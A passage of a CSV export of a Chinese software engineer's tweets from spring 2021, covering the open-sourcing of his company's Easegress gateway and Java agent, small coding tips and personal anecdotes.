23:35:59+00:00,16,0,0,,@songma 我让孩子也写个BP去……,,https://twitter.com/haoel/status/1402409101414391814\n3005,1402281589640286211,2021-06-08 15:09:18+00:00,38,3,7,,2003年在Platform 做的第一个项目，那年还不怎么会写代码……（这两天被拉回以前的同事群，引发了往事的追忆）我的“心理阴影”居然还记得这事，说明我的代码也给他造成了心理阴影……🤣🤣 https://t.co/k8H4cjD9n5,,https://twitter.com/haoel/status/1402281589640286211\n3006,1402266948612804621,2021-06-08 14:11:08+00:00,447,17,15,,今天在跟一个投资人正在聊项目的时候，我们家孩子不断地打我的电话，我怕有什么着急的事儿（上次着急打我电话时是没带钥匙回不了家），我就接了电话。我问有什么事？孩子跟我说：“我没钱了，你该给我零花钱了”。我说：“别捣乱，你爸也在要钱呢……”😂😂😂,,https://twitter.com/haoel/status/1402266948612804621\n3007,1400452861121552386,2021-06-03 14:02:35+00:00,79,6,13,,不是的，是因为老板也要写周报，需要素材……🤪（我在外国公司里面从来不写周报，因为你每周的工作，都有需求系统，代码系统，发布系统，工单系统，帮你记录着）,,https://twitter.com/haoel/status/1400452861121552386\n3008,1399631522055933954,2021-06-01 07:38:53+00:00,0,0,0,,@91_MrZheng @fujohnwang 那个是操作系统内核的东西，网络四层的，我们做七层的，平行空间😂😂,,https://twitter.com/haoel/status/1399631522055933954\n3009,1399627381791334406,2021-06-01 07:22:26+00:00,0,0,1,,@91_MrZheng @fujohnwang bbr是？,,https://twitter.com/haoel/status/1399627381791334406\n3010,1399609768021401609,2021-06-01 06:12:26+00:00,37,2,2,,相关产品的 Principles 和 Roadmap 在这里：https://t.co/TFeeJiXocI 欢迎大家提意见。,\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress/blob/main/doc/Roadmap.md', tcourl='https://t.co/TFeeJiXocI', indices=(31, 54))]\",https://twitter.com/haoel/status/1399609768021401609\n3011,1399607586391871491,2021-06-01 06:03:46+00:00,543,124,17,,我们的网关产品 Easegress （以前叫EaseGateway）开源了（https://t.co/YBHst55hbx），在过去的几年，我们在这个产品上投入了不少的工作，它已经被用在了一些公司的生产线上包括银行。它是个真正从市场里走出来的产品，绝不是个玩具。这个产品已经不仅仅是个API网关，是一个真正的云原生流量调度服务。 https://t.co/a5f7aeaL6r,\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress', tcourl='https://t.co/YBHst55hbx', indices=(38, 61))]\",https://twitter.com/haoel/status/1399607586391871491\n3012,1399391741740945410,2021-05-31 15:46:05+00:00,39,2,2,,你不但随时随地躺平，身体各种拉伸扭动，还不停瞄着我，似乎对我说，老子样子虽然不好看，但大爷就是爽，你耐我何？ https://t.co/ROkq8PBUP4,,https://twitter.com/haoel/status/1399391741740945410\n3013,1399355981700603904,2021-05-31 13:23:59+00:00,60,3,10,,程序语言里对数据结构容量扩充都是以翻倍来的，比如你分配了1个字节的内存，不够了就扩成2个字节，再不够了就扩成4个字节，这样效率会高一些。,,https://twitter.com/haoel/status/1399355981700603904\n3014,1399333707903770624,2021-05-31 11:55:28+00:00,2,0,0,,马上开始了……,,https://twitter.com/haoel/status/1399333707903770624\n3015,1399276739218477056,2021-05-31 08:09:06+00:00,48,1,6,,得加一层“躺平自由”了……,,https://twitter.com/haoel/status/1399276739218477056\n3016,1399276570938773506,2021-05-31 08:08:26+00:00,24,0,21,,要不是这块钢化膜，我的手机屏早就碎了，所以，我要对它不离不弃…… https://t.co/j67CQNXmYa,,https://twitter.com/haoel/status/1399276570938773506\n3017,1399018420369248256,2021-05-30 15:02:38+00:00,25,0,8,,多少年不看国足了，才发现李铁都成主帅了，我对他的印象还在英超踢球的时代……,,https://twitter.com/haoel/status/1399018420369248256\n3018,1398675015000682497,2021-05-29 16:18:04+00:00,85,2,1,,@waylybaye 英文也是一个样…… https://t.co/b7J72j0Rvz,,https://twitter.com/haoel/status/1398675015000682497\n3019,1398669234436141056,2021-05-29 15:55:06+00:00,44,8,6,,根据这个事，分享一下我的经验：1）二分查找在数据有重复值的情况下可以返回任一一个，几乎所有的实现都这样。2）一旦被用上了，bug都会是feature，所以最好要先定义好规格说明，3）重要的不兼容的升级改动一般会有参数开关，等社区应用的差不多了，再默认打开，4）技术是简单纯粹的，复杂的是应用……,,https://twitter.com/haoel/status/1398669234436141056\n3020,1398664320045617157,2021-05-29 15:35:34+00:00,0,0,0,,@_hisriver 我其实是在说使用方娇情🤪,,https://twitter.com/haoel/status/1398664320045617157\n3021,1398633275791347713,2021-05-29 13:32:12+00:00,0,0,0,,@jjzcdzy 哈，少打一个=号 while(l&lt;=h),,https://twitter.com/haoel/status/1398633275791347713\n3022,1398631252702334978,2021-05-29 13:24:10+00:00,16,0,6,,\"binary search 不是发个推的时间就写出来了么？🤪\n\nint l=0, h=n-1\nwhile(l &lt; h){\n  int m = l+(h-l)/2;\n  if ( a[m] == target) return m;\n  else if ( a[m] &lt; target ) l = m+1;\n  else h = m-1;\n}\nreturn -1;\",,https://twitter.com/haoel/status/1398631252702334978\n3023,1398625435253018626,2021-05-29 13:01:03+00:00,84,1,3,,@waylybaye 在别人上班的时候，在朋友圈发旅游照片，这样可以让别人痛苦，然后自己的就开心了……🤡,,https://twitter.com/haoel/status/1398625435253018626\n3024,1398594550692605952,2021-05-29 10:58:20+00:00,1,0,1,,@RemindMe_OfThis after 5 years,,https://twitter.com/haoel/status/1398594550692605952\n3025,1398592969737793536,2021-05-29 10:52:03+00:00,0,0,1,,@6699 降分辨率啊……,,https://twitter.com/haoel/status/1398592969737793536\n3026,1398589585899225090,2021-05-29 10:38:36+00:00,2,0,1,,@CindyCreation 现在照相的二指手势要伸这么高了……,,https://twitter.com/haoel/status/1398589585899225090\n3027,1398573534591426563,2021-05-29 09:34:49+00:00,2,0,1,,@ilaobian 简单点，把“总是那么爱学习”去掉🤡,,https://twitter.com/haoel/status/1398573534591426563\n3028,1398515641657683968,2021-05-29 05:44:46+00:00,0,0,0,,@smokystone @AcryanZhang 加上呗，比特币还是不如。绝大多数交易都没有盖章啊，营销，打印单据。,,https://twitter.com/haoel/status/1398515641657683968\n3029,1398472432374059011,2021-05-29 02:53:04+00:00,0,0,1,,@6699 这个算法应该只能用于 metrics 数据,,https://twitter.com/haoel/status/1398472432374059011\n3030,1398467166802898951,2021-05-29 02:32:09+00:00,194,20,5,,我是很喜欢算法的，因为感觉充满了智慧。下图黑色图有7500个点，红蓝绿三个图仅500个点。这个算法是几年前我根据一篇2013年的论文并参考了一个前端实现，用Go实现了一下（应该是go社区里的第一份），这个算法可以极大的压缩数据，但保留住所有的数据特征。源码在我的GitHub ：https://t.co/1xP5MV2CP7 https://t.co/RNR4j3XeIo,\"[TextLink(text='github.com/haoel/downsamp…', url='https://github.com/haoel/downsampling-algorithm', tcourl='https://t.co/1xP5MV2CP7', indices=(139, 162))]\",https://twitter.com/haoel/status/1398467166802898951\n3031,1398461568115830794,2021-05-29 02:09:54+00:00,20,4,2,,@hayahayayoo https://t.co/yMTm737d1z,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1173966779678216193', tcourl='https://t.co/yMTm737d1z', indices=(13, 36))]\",https://twitter.com/haoel/status/1398461568115830794\n3032,1398277060540338187,2021-05-28 13:56:44+00:00,2,0,0,,@littlebecky2 前同事啊……🤝,,https://twitter.com/haoel/status/1398277060540338187\n3033,1398274425527562240,2021-05-28 13:46:16+00:00,0,0,0,,@rxpuoxs6 多谢你的提醒啊,,https://twitter.com/haoel/status/1398274425527562240\n3034,1398273244080140299,2021-05-28 13:41:34+00:00,61,4,17,,\"一个先屏蔽了我的人，发现我屏蔽了他后的反应……\n\n大家说，我主动帮助他实现了他的愿望，这难道不是业界良心么？为什么他要骂我是业界毒瘤呢？百思不解啊…… https://t.co/kMAJhAiHch\",,https://twitter.com/haoel/status/1398273244080140299\n3035,1398265447548551172,2021-05-28 13:10:35+00:00,0,0,0,,@jolestar 终于有正当理由摸鱼了,,https://twitter.com/haoel/status/1398265447548551172\n3036,1398242096780222465,2021-05-28 11:37:48+00:00,11,1,0,,@hackdapp 已经开源了 https://t.co/6cDqRqi7aS,\"[TextLink(text='github.com/megaease/easea…', url='https://github.com/megaease/easeagent', tcourl='https://t.co/6cDqRqi7aS', indices=(16, 39))]\",https://twitter.com/haoel/status/1398242096780222465\n3037,1398238840708485122,2021-05-28 11:24:52+00:00,284,40,6,,\"今天在整理准备开源的代码，因为代码中有一些不宜公开的信息，所以，需要对代码的提交历史进行过滤和修改，然后再新生成一个repo。为了避免有文件不一样，需要比较比较两个目录内的文件是否有差异。分享两种方法，\n\n方法一：diff -bur [dir1] [dir2]\n方法二：rsync -rcnv [dir1]  [dir2]\",,https://twitter.com/haoel/status/1398238840708485122\n3038,1398174953606815746,2021-05-28 07:11:00+00:00,55,7,5,,有图有真相 https://t.co/san8m7EpWi,,https://twitter.com/haoel/status/1398174953606815746\n3039,1398162574579945473,2021-05-28 06:21:49+00:00,324,40,12,,git filter-branch 再加上 git push -f 真是可以为所欲为滴……左青龙，右白虎，一条老牛在腰间，人档杀人，佛档杀佛。不但可以任意修改历史上的commit信息，删除被删除文件的历史记录，甚至可以把别人的commit放到自己名下…… 实在是强取豪夺，杀人灭口，毁尸灭迹，斩草除根之神器……,,https://twitter.com/haoel/status/1398162574579945473\n3040,1397867427124318208,2021-05-27 10:49:00+00:00,0,0,0,,@Helixcsio 我这就是Mac的……😂,,https://twitter.com/haoel/status/1397867427124318208\n3041,1397813189086040065,2021-05-27 07:13:29+00:00,9,0,1,,对不起，刚才没有打开售票，现在可以了。,,https://twitter.com/haoel/status/1397813189086040065\n3042,1397790668181839874,2021-05-27 05:43:59+00:00,162,14,10,,下周一我司的内部技术分享《How to Write a Java Agent》主要是是关于如何通过Java 的字节码注入技术来增强Java应用程序的运行时的可观测性（由袁伟带来）。https://t.co/LFQq2MwQLD,\"[TextLink(text='eventbrite.com/e/knowledge-sh…', url='https://www.eventbrite.com/e/knowledge-sharing-how-to-write-a-java-agent-tickets-157008224827', tcourl='https://t.co/LFQq2MwQLD', indices=(90, 113))]\",https://twitter.com/haoel/status/1397790668181839874\n3043,1397752591505711106,2021-05-27 03:12:41+00:00,139,24,23,,很多人问我用什么工具画图，我最喜欢使用的画图的工具是PowerPoint……（下图也是用PPT画的，是不是有点毁大家的三观……）,,https://twitter.com/haoel/status/1397752591505711106\n3044,1397745206477287426,2021-05-27 02:43:20+00:00,7,0,1,,我发现我错过了巨多无比的Twitter私信，因为Twitter把私信请求放在非常靠后而且我几乎不会去看的位置…… https://t.co/2Q6eRm8dzR,,https://twitter.com/haoel/status/1397745206477287426\n3045,1397725568909467648,2021-05-27 01:25:18+00:00,7,1,3,,@shajiabiji @laoyang945 其他品牌的手机可能更狠了……,,https://twitter.com/haoel/status/1397725568909467648\n3046,1397709546206896135,2021-05-27 00:21:38+00:00,0,0,0,,@pingchn 什么时候来北京办？,,https://twitter.com/haoel/status/1397709546206896135\n3047,1397708438658981889,2021-05-27 00:17:14+00:00,8,0,0,,@stonegao 有空买个我的极客时间的专栏，看看我写的区块链的技术细节，绝对比你这个视频详细。别整天unknown unknown 的，从我2009了解比特币的时候，到我跟吴忌寒讨论怎么解决比特币的技术问题的时候，我们都从来不会对质疑的人说你带着偏见你不懂，也从来不会说区块链会解决一切问题。,,https://twitter.com/haoel/status/1397708438658981889\n3048,1397566829468348419,2021-05-26 14:54:32+00:00,3,0,0,,@stonegao 对比效率要比对比耗电量更好，不是么？我举这个例子就是说明一种更为科学的对比，这个例子举的不恰当吗？但是你却看到的是偏见，你不觉得你已预设了立场了吗？你这不才是真正的偏见么？,,https://twitter.com/haoel/status/1397566829468348419\n3049,1397534207631523846,2021-05-26 12:44:54+00:00,3,0,1,,@tinyfool 🤪🤪,,https://twitter.com/haoel/status/1397534207631523846\n3050,1397532401463545862,2021-05-26 12:37:44+00:00,1,0,1,,@Samdeniu Gaming至少算是一种娱乐活动，，就像看电影，听音乐一样，舞蹈、艺术……等等,,https://twitter.com/haoel/status/1397532401463545862\n3051,1397520830578388993,2021-05-26 11:51:45+00:00,109,26,25,,如果你觉得这个图比较靠谱，你应该是不能独立思考的经典表现了。想想银行处理多少交易，再想想比特币用那么多电处理多少交易。从小，物理老师就教过我们，效率=有用功/总功，凡事要多看几个维度。如果你只会看总功，只从一个维度思考问题的话，那么，别人给你啥，你就会信啥…… https://t.co/DnVns9psdj,,https://twitter.com/haoel/status/1397520830578388993\n3052,1397519882955083781,2021-05-26 11:47:59+00:00,1,0,0,,@SAOPro_Kirito @farmer1992,,https://twitter.com/haoel/status/1397519882955083781\n3053,1397511685603135493,2021-05-26 11:15:25+00:00,71,5,4,,北京今天居然有漫画的感觉了…… https://t.co/fbzfFov6nR,,https://twitter.com/haoel/status/1397511685603135493\n3054,1397466854902296576,2021-05-26 08:17:16+00:00,71,13,10,,说明一下，这个小伙子屏蔽了这个广告89次以后，YouTube官方才不推了……,,https://twitter.com/haoel/status/1397466854902296576\n3055,1397454768625176576,2021-05-26 07:29:14+00:00,0,0,1,,@fujohnwang @Ji_Yuhang 你又换头像……,,https://twitter.com/haoel/status/1397454768625176576\n3056,1397453774612881409,2021-05-26 07:25:17+00:00,14,0,2,,好了，征名活动完美结束！ https://t.co/ctCMP96Pjf,,https://twitter.com/haoel/status/1397453774612881409\n3057,1397445727312244739,2021-05-26 06:53:19+00:00,15,0,4,,之前的有个小伙 @Ji_Yuhang 提了一个ezgress的名字，虽然这个名字和一家公司重名了没有最终用上，但是，我还是要给这个小伙一定的奖金（1000元）,,https://twitter.com/haoel/status/1397445727312244739\n3058,1397444155970756610,2021-05-26 06:47:04+00:00,0,0,0,,@149744656 除了文档和图片这外，还有程序build出来的binary的名字，而别的程序、脚本、环境、配置、Docker镜像……改完以后，还要再重新测试一下。,,https://twitter.com/haoel/status/1397444155970756610\n3059,1397421419605094404,2021-05-26 05:16:43+00:00,39,3,6,,\"最终还是想保留Ease前缀，但这前缀一上，要接得上的单词基本就没想像空间了（不能是抽象的人名，动物，神……），只能是具体事物了，最终确定了Easegress， 词根-gress来自拉丁语，有move,step的意思，progress, ingress, egress, digress, regress, congress... （另，我们低估了改名带来的重构成本）\",,https://twitter.com/haoel/status/1397421419605094404\n3060,1397146913330237445,2021-05-25 11:05:56+00:00,201,27,22,,\"负一层：下班自由，不用被强制加班，不打卡，可以准点下班，自己安排自己的工作计划，下班后不必回邮件或工作信息。\n\n负二层：摸鱼自由，有时间干点闲杂事，虽然要加班，但活不多，能睡午觉。\n\n负三层：隐私自由，不会被公司监控你的电脑，上网和工作。\",,https://twitter.com/haoel/status/1397146913330237445\n3061,1397129670160642051,2021-05-25 09:57:25+00:00,675,130,28,,\"我理解的不同层次的自由\n\n第一层：工作自由，很多一线公司都希望你的加入，你不再害怕失业。\n\n第二层：技能自由，不需要找个公司才能养活自己，靠自己的技能就好。\n\n第三层：财富自由，你不再因为需要挣钱而向甲方妥协。\n\n第四层：精神自由，你不再受到任可约束，自包含无依赖，思想解放，笑傲江湖。\",,https://twitter.com/haoel/status/1397129670160642051\n3062,1396745586422861826,2021-05-24 08:31:12+00:00,61,4,16,,@leeight 不太理解，你们为什么会喜欢强制加班的工作？是找不到工作了么……,,https://twitter.com/haoel/status/1396745586422861826\n3063,1396466499808763914,2021-05-23 14:02:13+00:00,10,0,7,,@CindyCreation 要想控制不就是拿到51%以上的算力呗，如果政府想搞，轻轻松松的事情，毕竟，70%以上的矿场都在中国……,,https://twitter.com/haoel/status/1396466499808763914\n3064,1395940232176889858,2021-05-22 03:11:01+00:00,1,0,2,,@CindyCreation @0x76i 你就喜欢我们老男人的油腻味，是吧,,https://twitter.com/haoel/status/1395940232176889858\n3065,1395756158330097665,2021-05-21 14:59:34+00:00,15,3,3,,@CindyCreation https://t.co/fI8U3QpbJB,\"[TextLink(text='m.douban.com/group/topic/80…', url='https://m.douban.com/group/topic/80956862/', tcourl='https://t.co/fI8U3QpbJB', indices=(15, 38))]\",https://twitter.com/haoel/status/1395756158330097665\n3066,1395608960481128448,2021-05-21 05:14:39+00:00,16,1,0,,多少年没来“棒约翰”了，整了个怪异的“麻辣鸭”披萨，没想到还挺好吃……🤪 https://t.co/zGAon6l8Ba,,https://twitter.com/haoel/status/1395608960481128448\n3067,1395555047413411841,2021-05-21 01:40:26+00:00,4,2,6,,@forrest_zhao 是的。我现在也到处讲CMDB应该从过去的资源视角上升到服务视角了，应该做的是Service的CMDB……,,https://twitter.com/haoel/status/1395555047413411841\n3068,1395276758824284173,2021-05-20 07:14:36+00:00,68,4,9,,@songma 只有解释不了且非常理想的东西才能用来忽悠人……比如，宗教，炼金术，返老还童，长生不老，包治百病……等等，等等。,,https://twitter.com/haoel/status/1395276758824284173\n3069,1395258491795755009,2021-05-20 06:02:01+00:00,7,0,2,,@echooymxq 快了。不出意外就下周。文档差不多也写完了。,,https://twitter.com/haoel/status/1395258491795755009\n3070,1395242215220281348,2021-05-20 04:57:21+00:00,969,184,14,,\"目前为止我司公开的三个内部技术分享：\n\n- 陈皓：《Prometheus是怎么存储数据的》https://t.co/yqEz581ZbD\n\n- 赵锟：《Kubernetes网络模型》https://t.co/IXQFSIWdR9\n\n- 吴怡恒《Sledge: Serverless + WASM 》https://t.co/4lsSSxi3Bf\n\n我们非常欢迎外部的同学也参与我们的技术分享会，可以跟我联系。\",\"[TextLink(text='youtu.be/qB40kqhTyYM', url='https://youtu.be/qB40kqhTyYM', tcourl='https://t.co/yqEz581ZbD', indices=(45, 68)), TextLink(text='youtu.be/HxS4s11rmyA', url='https://youtu.be/HxS4s11rmyA', tcourl='https://t.co/IXQFSIWdR9', indices=(91, 114)), TextLink(text='youtu.be/DpGof54UG-g', url='https://youtu.be/DpGof54UG-g', tcourl='https://t.co/4lsSSxi3Bf', indices=(149, 172))]\",https://twitter.com/haoel/status/1395242215220281348\n3071,1395240303758495746,2021-05-20 04:49:45+00:00,17,8,0,,分享视频（分享人：吴怡恒  @benjamn2013elka  ）：https://t.co/jCZfnKdRQ5,\"[TextLink(text='youtube.com/watch?v=DpGof5…', url='https://www.youtube.com/watch?v=DpGof54UG-g', tcourl='https://t.co/jCZfnKdRQ5', indices=(34, 57))]\",https://twitter.com/haoel/status/1395240303758495746\n3072,1394910346385584130,2021-05-19 06:58:37+00:00,6,3,2,,@BreeStealth @Edge790 https://t.co/0UjnxFJ1uG,\"[TextLink(text='iphonewalls.net/technology/mic…', url='https://iphonewalls.net/technology/microsoft-windows-98-logo-iphone-6-wallpaper', tcourl='https://t.co/0UjnxFJ1uG', indices=(22, 45))]\",https://twitter.com/haoel/status/1394910346385584130\n3073,1394875795626074113,2021-05-19 04:41:19+00:00,35,8,0,,相关分享视频回放   https://t.co/BhfUUp8Bp9   （分享人：@_zhaokun_ ）,\"[TextLink(text='youtube.com/watch?v=HxS4s1…', url='https://www.youtube.com/watch?v=HxS4s11rmyA', tcourl='https://t.co/BhfUUp8Bp9', indices=(11, 34))]\",https://twitter.com/haoel/status/1394875795626074113\n3074,1394813014927314945,2021-05-19 00:31:51+00:00,52,3,3,,@Edge790 嗯 https://t.co/06H5O4FGkL,,https://twitter.com/haoel/status/1394813014927314945\n3075,1394806165771485190,2021-05-19 00:04:38+00:00,154,20,8,,看到这样的图，马上就想练习一下Dijkstra算法……,,https://twitter.com/haoel/status/1394806165771485190\n3076,1394253410413678593,2021-05-17 11:28:11+00:00,1,0,0,,@Vicotory2018 我司内部的技术分享会,,https://twitter.com/haoel/status/1394253410413678593\n3077,1394250447536283654,2021-05-17 11:16:25+00:00,46,4,4,,居然忘发了今天我司的分享：《WebAssembly &amp; Serverless》 ，一会8点开始，70个名额。https://t.co/Scv4miFgFo,\"[TextLink(text='eventbrite.com/e/webassembly-…', url='https://www.eventbrite.com/e/webassembly-serverless-tickets-155608861293', tcourl='https://t.co/Scv4miFgFo', indices=(58, 81))]\",https://twitter.com/haoel/status/1394250447536283654\n3078,1394224788814516230,2021-05-17 09:34:27+00:00,87,1,21,,有个事情一直在困扰着我，这么多年来，总是有好些人时不时就来问我——有没有好的技术人员可以推荐给他们，一开始我还真帮他们问问，后来没时间了，只能提醒对方：“我不是猎头啊”，但对方一般都还会执着地说，“你认识的程序员一定都靠谱，帮忙推荐啊”……我是不是应该跟对方谈谈多少猎头费了？,,https://twitter.com/haoel/status/1394224788814516230\n3079,1394102686014791680,2021-05-17 01:29:16+00:00,0,0,0,,@zhangpeike Netflix,,https://twitter.com/haoel/status/1394102686014791680\n3080,1393579581081210885,2021-05-15 14:50:38+00:00,39,2,13,,《爱死机 2》让我感觉是没冲会员，只给看个开头……（P.S：动画的技术做的真是太牛了） https://t.co/etuPwuxS3O,,https://twitter.com/haoel/status/1393579581081210885\n3081,1393476613556166660,2021-05-15 08:01:28+00:00,28,8,0,,@kevinzhow 例：Apple根据网上的订单，自动去供应商下单零配件，然后送给富士康组装，富士康组装的生产流水线装上各种传感器，Apple可以让流水线满负荷运转，但是次品率高，损耗大，也可以各种调参，在生产率和损耗中平衡……,,https://twitter.com/haoel/status/1393476613556166660\n3082,1391936661219471360,2021-05-11 02:02:15+00:00,49,4,9,,https://t.co/HxVUspucJ6,,https://twitter.com/haoel/status/1391936661219471360\n3083,1391909019657261057,2021-05-11 00:12:25+00:00,0,0,1,,@twink1eeeee 如果能帮你们省掉这笔开支，愿意给我们省掉的40％吗？,,https://twitter.com/haoel/status/1391909019657261057\n3084,1391745877354582021,2021-05-10 13:24:09+00:00,0,0,1,,@twink1eeeee 这次只是一个Java探针，后台整套监控也会开源的……,,https://twitter.com/haoel/status/1391745877354582021\n3085,1391687711556177922,2021-05-10 09:33:01+00:00,10,0,4,,s/文档还在被/文档还在补/,,https://twitter.com/haoel/status/1391687711556177922\n3086,1391684003879555075,2021-05-10 09:18:17+00:00,117,20,10,,我司先开源的一个用于采集Java服务的Java Agent。这个小组件只是一个字节码注入的Agent，没有其它过多的东西，目前支持的中间件也不多，属于一个小而精的东西，可以方便的扩展和与已有监控系统进行集成。Apache/2.0 许可证。文档还在被，另外，大家请以英文提issue和PR. https://t.co/6cDqRqi7aS,\"[TextLink(text='github.com/megaease/easea…', url='https://github.com/megaease/easeagent', tcourl='https://t.co/6cDqRqi7aS', indices=(145, 168))]\",https://twitter.com/haoel/status/1391684003879555075\n3087,1391674600967139328,2021-05-10 08:40:55+00:00,3,0,1,,@tinyfool 我觉得我还是把沙子变成芯片变更好一些……,,https://twitter.com/haoel/status/1391674600967139328\n3088,1391625997594681344,2021-05-10 05:27:47+00:00,1,0,1,,@Capricorn0900 等下次了,,https://twitter.com/haoel/status/1391625997594681344\n3089,1391609259029192717,2021-05-10 04:21:16+00:00,41,5,7,,北京时间今天晚上20点我司的分享《Kubernetes Network Model》，30个名额：https://t.co/Sz5ECmvWQV,\"[TextLink(text='eventbrite.com/e/kubernetes-n…', url='https://www.eventbrite.com/e/kubernetes-network-model-tickets-154163945511', tcourl='https://t.co/Sz5ECmvWQV', indices=(49, 72))]\",https://twitter.com/haoel/status/1391609259029192717\n3090,1391362026954362880,2021-05-09 11:58:52+00:00,13,0,1,,@waylybaye 我觉得你应该先开一个众筹，再说做不做。提需求的应该先付钱🤪,,https://twitter.com/haoel/status/1391362026954362880\n3091,1391361297057419272,2021-05-09 11:55:58+00:00,14,0,2,,一群“高智商”的推友说我中了他们的套路，你们说得对……,,https://twitter.com/haoel/status/1391361297057419272\n3092,1391359922151985156,2021-05-09 11:50:30+00:00,6,0,0,,@woodcafe 我们俩都没共事过，连面都没见过，你就一个标签打上来了……,,https://twitter.com/haoel/status/1391359922151985156\n3093,1391359300681965569,2021-05-09 11:48:02+00:00,1,0,1,,@tracy_bian 我后面还有更多的聊天记录，想看看吗？另外，你觉得靠这种方式工作效率高吗？别把中介当傻子啊……,,https://twitter.com/haoel/status/1391359300681965569\n3094,1391290269874614272,2021-05-09 07:13:43+00:00,93,2,13,,就算加错人也是这么自信和执着😂😂 https://t.co/zXL2iG7ted,,https://twitter.com/haoel/status/1391290269874614272\n3095,1390469318492655616,2021-05-07 00:51:33+00:00,10,0,1,,@waylybaye 另外，别用md5，用bcrypt😜,,https://twitter.com/haoel/status/1390469318492655616\n3096,1390464758860578818,2021-05-07 00:33:26+00:00,7,1,2,,@waylybaye MD5也可以撞库的……还要加盐。,,https://twitter.com/haoel/status/1390464758860578818\n3097,1390302996362190859,2021-05-06 13:50:39+00:00,12,4,2,,我估计微软是想Linux慢慢地变成Windows的样子……,,https://twitter.com/haoel/status/1390302996362190859\n3098,1390187120900206592,2021-05-06 06:10:12+00:00,9,1,2,,补个图 https://t.co/38mPbxTz7j,,https://twitter.com/haoel/status/1390187120900206592\n3099,1390186341850222592,2021-05-06 06:07:06+00:00,16,0,3,,@tinyfool 不行啊，工地说这沙是从他们那里吹过来的，本来就是他们的……,,https://twitter.com/haoel/status/1390186341850222592\n3100,1390180235245625345,2021-05-06 05:42:51+00:00,4,0,4,,中午刚过，北京又是黄沙满天了……,,https://twitter.com/haoel/status/1390180235245625345\n3101,1390178430738604033,2021-05-06 05:35:40+00:00,0,0,0,,@Caldis_Chen 好看,,https://twitter.com/haoel/status/1390178430738604033\n3102,1390178059865575426,2021-05-06 05:34:12+00:00,32,0,4,,@zhangpeike 美国那边吃的只有三明治、汉堡、薯条、沙拉……这不挺让在中国生活过的人焦虑的吗？😜,,https://twitter.com/haoel/status/1390178059865575426\n3103,1390166377189703682,2021-05-06 04:47:47+00:00,448,20,36,,我以前有个团队的小伙，现在在美国微软工作，今年正好35岁了，我问他，35岁了，在美国焦虑吗？他说，每天都在为吃的焦虑，不知道下顿吃啥……,,https://twitter.com/haoel/status/1390166377189703682\n3104,1389959965155069953,2021-05-05 15:07:34+00:00,0,0,0,,@samsara9527 你这太牛了！,,https://twitter.com/haoel/status/1389959965155069953\n3105,1389959623063478279,2021-05-05 15:06:12+00:00,0,0,0,,@CnHawkOrg 👍🏻👍🏻,,https://twitter.com/haoel/status/1389959623063478279\n3106,1389924667356434433,2021-05-05 12:47:18+00:00,11,0,3,,@kevinzhow @waylybaye 有个投资人让我别把我的产品开源。他说你开源就会有很多技术很次的软件公司，拿着你的代码标榜自己并去获得用户，然后你会陪他玩死……😂😂😂,,https://twitter.com/haoel/status/1389924667356434433\n3107,1389923490774413313,2021-05-05 12:42:38+00:00,0,0,0,,@LynzRand scope 也有别的问题。另外，我说的是练习，所谓练习就是要尽可能找到最优解，不然还练习啥？,,https://twitter.com/haoel/status/1389923490774413313\n3108,1389914217143222276,2021-05-05 12:05:47+00:00,1,0,1,,@LynzRand 你是这么解的啊。直接用上unsafe，那我也没什么问题。第二个例子，你是不知道智能指针么？前两个问题都这么解，那么第三例子你自然Get不到会有什么问题……,,https://twitter.com/haoel/status/1389914217143222276\n3109,1389911128487174148,2021-05-05 11:53:30+00:00,0,0,1,,@cn_shuyang 王的男人，好像是个韩国古装片，挺好看的，片名叫《霜花店》,,https://twitter.com/haoel/status/1389911128487174148\n3110,1389898567909724160,2021-05-05 11:03:36+00:00,16,1,2,,@kevinzhow @waylybaye 就算运营是产品的一部份也一样。我在Amazon，无论电商还是云计算，运营人员就是地位最低的，技术和产品才是主导者。然而，在中国则完全反过来，因为用户没有分辨好坏的能力，运营和销售说什么就是什么，再次的产品都可以吹得天花乱坠，无论电商还是云计算……这样的例子比比皆是……,,https://twitter.com/haoel/status/1389898567909724160\n3111,1389895861430145029,2021-05-05 10:52:51+00:00,3,0,1,,@marskernel 我的年代是AC米兰三剑客时代,,https://twitter.com/haoel/status/1389895861430145029\n3112,1389895565702430727,2021-05-05 10:51:40+00:00,28,1,5,,\"Disagree!  I think most of the developers just learn Rust by Hello World. If they try to write the real code, I believe they will give up Rust quickly.\n\nOr try the below exercises\n- Singly-linked list\n- Merge sort or sum by multiple threads \n- simple client-server communication\",,https://twitter.com/haoel/status/1389895565702430727\n3113,1389892188662734857,2021-05-05 10:38:15+00:00,22,0,2,,@waylybaye @kevinzhow 绝大多数中国人没有分辨产品好坏的能力，只要营销地合胃口，出现的频次多，他们就会觉得就是好产品……,,https://twitter.com/haoel/status/1389892188662734857\n3114,1389882276725411840,2021-05-05 09:58:52+00:00,0,0,1,,@samsara9527 对了！,,https://twitter.com/haoel/status/1389882276725411840\n3115,1389882173310734338,2021-05-05 09:58:27+00:00,0,0,1,,@Caldis_Chen 厉害👍🏾,,https://twitter.com/haoel/status/1389882173310734338\n3116,1389861129329942533,2021-05-05 08:34:50+00:00,42,0,9,,我在青少年时期的三张床头的明星海报……看来我的确很喜欢长头发的男人……😂😂😂 https://t.co/lDB8Pt2cfL,,https://twitter.com/haoel/status/1389861129329942533\n3117,1389859168270438405,2021-05-05 08:27:02+00:00,24,0,26,,看图猜城市…… https://t.co/PVkG6oN7bW,,https://twitter.com/haoel/status/1389859168270438405\n3118,1389819488493654017,2021-05-05 05:49:22+00:00,80,10,25,,现在的教科书，跟进的很快啊。 https://t.co/FX55HpFQcV,,https://twitter.com/haoel/status/1389819488493654017\n3119,1387568468891893762,2021-04-29 00:44:37+00:00,51,7,11,,昨天偶然看到《今日说法》的一期节目“再次追捕隐形人”，一个初中学历的人，监狱中上网自学财务会计和管理知识，出狱后伪造身份学历，加入南京某公司，不仅为公司打赢了官司，还是为公司投资两个亿元项目，更是电脑能手，为公司解决各种电脑的问题，全公司上下叹服的明星员工，重点栽培对象……（1/2）,,https://twitter.com/haoel/status/1387568468891893762\n3120,1387256049019678721,2021-04-28 04:03:10+00:00,5,0,0,,@wangxiaoshan 说不出什么具体的感觉，感觉人间很值得……,,https://twitter.com/haoel/status/1387256049019678721\n3121,1387237876732022789,2021-04-28 